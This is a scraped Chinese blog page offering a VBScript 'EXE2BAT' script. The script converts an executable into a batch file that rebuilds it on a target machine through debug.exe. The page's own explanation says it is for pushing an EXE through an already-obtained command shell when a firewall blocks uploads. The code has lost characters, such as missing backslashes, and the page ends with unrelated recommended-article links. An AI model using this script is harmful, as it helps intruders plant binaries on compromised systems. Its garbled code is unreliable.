java bat转vbs_EXE2BAT(EXE转BAT)的vbs脚本
exe2bat的脚本
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,""))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl65536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt<16 then .write "0"
.write hex(bt)
if i mod 128=0 then .write """_>>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
说明文件:在得到一个CMDSHELL而又因为防火墙等原因无法上传文件时,可以使用本脚本.
直接在本地将一个EXE文件转换为一个BAT文件然后用记事本打开BAT文件,然后复制全部->CMDSHELL粘贴一下就可以在CMDSHELL下得到我们上传的EXE文件了.
脚本用法为:cscript cdown.vbs XXX.exe
在同目录下生成一个BAT文件.按上面的做法
java bat转vbs_EXE2BAT(EXE转BAT)的vbs脚本相关推荐
- 编辑器下运行exe或bat run exe or bat in editor
bat 打开bat文件,在第一行插入cd /D %~dp0 Application.OpenURL("xxx.bat"); UnityEditor.EditorUtility.Op ...
- java工程在windows环境用bat启动详解
原 java工程在windows环境用bat启动详解 2016年08月24日 13:19:52 qq_31197461 阅读数:3038 <span class="tags-box a ...
- 去掉bat和某些exe的黑窗口
bat文件和某些调试用的exe文件都会用到终端输出调试信息.但是演示的时候通常希望隐藏黑窗口,有两种方法,第一种是重新编译程序,在编译选项里面去掉终端输出,但这样有时比较麻烦.下面是一种简单的方法: ...
- 88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问
88道BAT Java面试题 助你跳槽BAT,轻松应对面试官的灵魂拷问 前言: 备战金九银十逃脱不了面试官的灵魂拷问,笔者整理了88道Java面试,由于面试题太多文章没有包含答案,需要领取这些面试题答 ...
- php 打包exe程序,bat打包成exe
bat打包成exe 发布时间:2018-11-29 15:00, 浏览次数:349 , 标签: bat exe 在之前的文章中向大家介绍了如何通过exe-4j将jar打包成exe文件,这篇文章为大家介 ...
- 使用 GraalVM 将基本的 Java 项目打包成 EXE
使用 GraalVM 将基本的 Java 项目打包成 EXE GraalVM 的环境搭建 将基本的 Java 项目打包成 EXE 将 JAR 转化为 EXE GraalVM 与 Java 中其它打包成 ...
- 用nc+简单bat/vbs脚本+winrar制作迷你远控后门
前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...
- 全网最全脚本整理,优秀学习范例汇集 —— VBS脚本、BAT脚本(批处理)公开、免费下载
目录 ▼脚本列表 1.VBS脚本列表及脚本说明 2.BAT批处理脚本列表及脚本说明 ▼脚本下载链接 ◆ 配合<定时执行专家>使用,功能更加强大 ◆ 关于<定时执行专家>的&qu ...
- java写exe程序实例,java实现可安装的exe程序实例详解
java实现可安装的exe程序实例详解 通过编写java代码,实现可安装的exe文件的一般思路: 1.在eclipse中创建java项目,然后编写java代码,将编写好的java项目导出一个.jar格 ...
最新文章
- JVM---虚拟机栈(动态链接与方法返回地址)
- ElementUI中el-table在表格最下方添加一列汇总小计行
- 点击页面元素,这个Vite插件竟然帮我打开了Vue组件文件!超级好用!
- LeetCode 4	Median of Two Sorted Arrays
- NeurIPS 2021 | 视频分类鲁棒性新基准
- vissim跟驰模型_MATLAB——基于元胞自动机的单向3车道模型
- mysql alisql_初次安装aliSql
- 企业信息安全模型(成熟度模型)
- 面包板入门电子制作 学习笔记5
- 【12306抢票神器】抢票啦—请收下这份2022元旦春节抢票攻略
- 你真的了解宏吗:浅谈宏定义(#define语句)
- Process 'command 'XXX/Android/Sdk/build-tools/25.0.3/aapt'' finished with non-zero exit value 1
- DQL:数据库查询语句
- 3255 Roadblocks
- flex于java实现增删改查
- 微信小程序-查询快递
- Linux添加http服务失败,Apache Web服务器配置http2各种失败
- FFT求频谱图和功率谱密度图
- 河南企服网:语音自动外呼机器人效果好吗?
- WIFI 5GHZ使用频率
热门文章
- 学Python好还是学Java好?学哪个更好就业?
- JS - 日期 - 使用setDate(0)获取上个月的最大一天
- 5个PS学习、练习素材网站
- 数据库IP网络切换问题
- 1到n中能被3和7整除的数的和
- 哪些域名才是真正的精品域名?
- arcgis10.2安装lisense后无法启动的问题
- android 应用程序法则( 转 : http://my.hoopchina.com/remus/blog/652324.html)
- notepad 语言等常用设置
- nacos配置中心指定配置文件为yml格式